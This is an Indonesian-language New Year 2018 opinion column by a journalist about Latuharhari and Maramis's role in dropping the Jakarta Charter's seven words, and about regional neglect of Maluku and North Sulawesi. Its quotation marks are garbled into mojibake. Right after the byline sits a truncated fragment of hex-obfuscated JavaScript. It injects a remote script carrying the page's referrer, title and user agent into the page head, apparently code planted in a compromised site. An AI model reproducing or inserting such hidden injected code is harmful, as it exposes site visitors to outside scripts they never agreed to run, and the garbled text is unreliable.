“Pancasila UUD 1945 Adalah Sumbangan Mr. J. Latuharhari dan Mr. A. Maramis Yang Hampir Terlupakan”

*Catatan Awal Tahun 2018

SELAMAT Tahun Baru 2018 beta pung basudara samua: tete, nenek, bapak, om, mama, tante, uwa, bibi, kaka, abang, adik, anak, ponakan, cucu, bro, sahabat dan kawan yang beta banggakan.

Beta berharap di tahun 2018 ini katong samua rapatkan barisan untuk memelihara, merawat, dan menjaga kebersamaan katong sebagai anak-anak bangsa Indonesia.

Beta berharap di 2018 ini seng ada lai dari katong samua ini merasa diri dan kelompoknya yang Paling Pancasilais, Paling NKRI dan Palang Bhinneka Tunggal Ika.

Kalaulah boleh sombong dan bertepuk dada, maka tentu katong orang Maluku, Maluku Utara, Sulawesi Utara dan Gorontalo yang pantas bertepuk dada Paling Pancasilais, Paling NKRI dan Paling Bhinneka Tunggal Ika.

Sekadar mengingatkan bahwa ketika ai???Piagama Jakartaai??? yang kemudian menjadi UUD 1945 yang berlaku sekarang ini mau diumumkan pada 18 Agustus 1945, tidak ada satupun para pendiri bangsa saat itu atau basudara dari non muslimai??i?? Protestan, Khatolik, Hindu dan Budha, apalagi Islam yang keberatan, menolak atau memprotes ai???Piagam Jakartaai???.

Hanya Mester Latuharhari dari Maluku dan Mester Maramis dari Sulawesi Utara yang memprotes, menolak dan menyatakan keberatan kepada Bung Karno dan Bung Hatta atas diberlakukannya ai???Piagam Jakartaai???.

Dengan ancaman jika ai???Piagam Jakartaai??? tetap diberlakukan, maka katong dari Maluku dan Sulawesi Utara akan memisahkan diri merdeka menjadi negara sendiri lepas dari Indonesia.

Akhirnya Bung Karno dan Bung Hatta menyerah dengan ancaman dari Mester Latuharhari dan Mester Maramis, sehingga tujuh kata dalam ai???Piagam Jakartaai??? dapat dihapuskan. Jadilah Pancasila dan UUD 1945 seperti hari ini.

Nah katong orang Maluku, Maluku Utara, Sulawesi Utara dan Gorontalo toh sampai hari ini seng bertepuk dada dan merasa paling Pancasilais, Paling Bhineka Tinggal Ika dan Paling NKRI dari anak bangsa yang lain.

Anehnya mereka-mereka yang waktu itu kakek, datuk, buyutnya menerima bulat-bulat ai???Piagam Jakartaai???, hari ini anak cucunya merasa paling Pancasilais, paling NKRI dan paling Bhinneka Tunggal Ika dari katong anak-anak Maluku, Maluku Utara, Sulawesi Utara dan Gorontalo.

Mungkin catatan kecil dalam bingkai kebersamaan kita sebagai bangsa, sejak Bung Karno turun tahta, dan sejak Pak Harto burkuasa hingga hari ini, belom pernah ada putra asal Maluku dan Maluku Utara yang duduk sebagai menteri di kabinet begeri ini.

Perlakuan ini sangat berbeda antara langit dan bumi dengan perlakuan negeri ini kepada Papua dan Aceh. Sejak reformasi bergulir, tidak ada kabinet di pemerintahan negeri ini yang tidak diisi oleh putra asal Aceh dan Papua.

Belom lagi alokasi anggaran negeri ini ke Aceh dan Papua terbilang sangat fantastis dibandingkan ke Maluku, Maluku Utara, Sulawesi Utara dan Gorontalo. Alokasi anggaran pusat ke Aceh dan Papua tiap tahun berkisar Rp 30 triliun untuk Aceh dan Rp 40 triliun ke Papua.

Sementara untuk ke Maluku, Maluku Utara, Sulawesi Utara dan Gorontalo, alokasi anggaran pusat ke masing-masing provinsi ini tidak pernah lebih dari Rp 2 triliun setiap tahun, sehingga total empat provinsi ini hanya Rp 6-7 triliun.

Meskipun ai???Nyong Ambonai??? pada Oktober 1928 adalah pemegang saham pendiri negeri ini bersama-sama dengan Nyong-Nyong yang lain lain, Papua belom ada, toh katong anak-anak Maluku dan Maluku Utara tetap diam seribu bahasa, bahkan menerima dengan lapang dada demi keutuhan dan kebersamaan kita sebagai bangsa.

Semoga di tahun 2018 ini mereka-mereka yang menjadi pahlawan kesiangan dan merasa paling Pancasilais, paling NKRI dan paling Bhinneka Tunggal Ika seng muncul lagi ke permukaan permukaan.

Semoga tahun 2018 ini katong samua anak bangsa makin solit dan bersatu menjaga dan mengawal, termasuk mengkritisi pemerintahan Jokowi-JK agar dapat menyelesaikan janji-janji kampanyenya sampai akhir masa jabatan 2019 nanti dengan aman dan damai.

Salam hormat.

Kisman Latumakulita

#Penulis adalah wartawan senior. Tinggal di Jakarta “,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *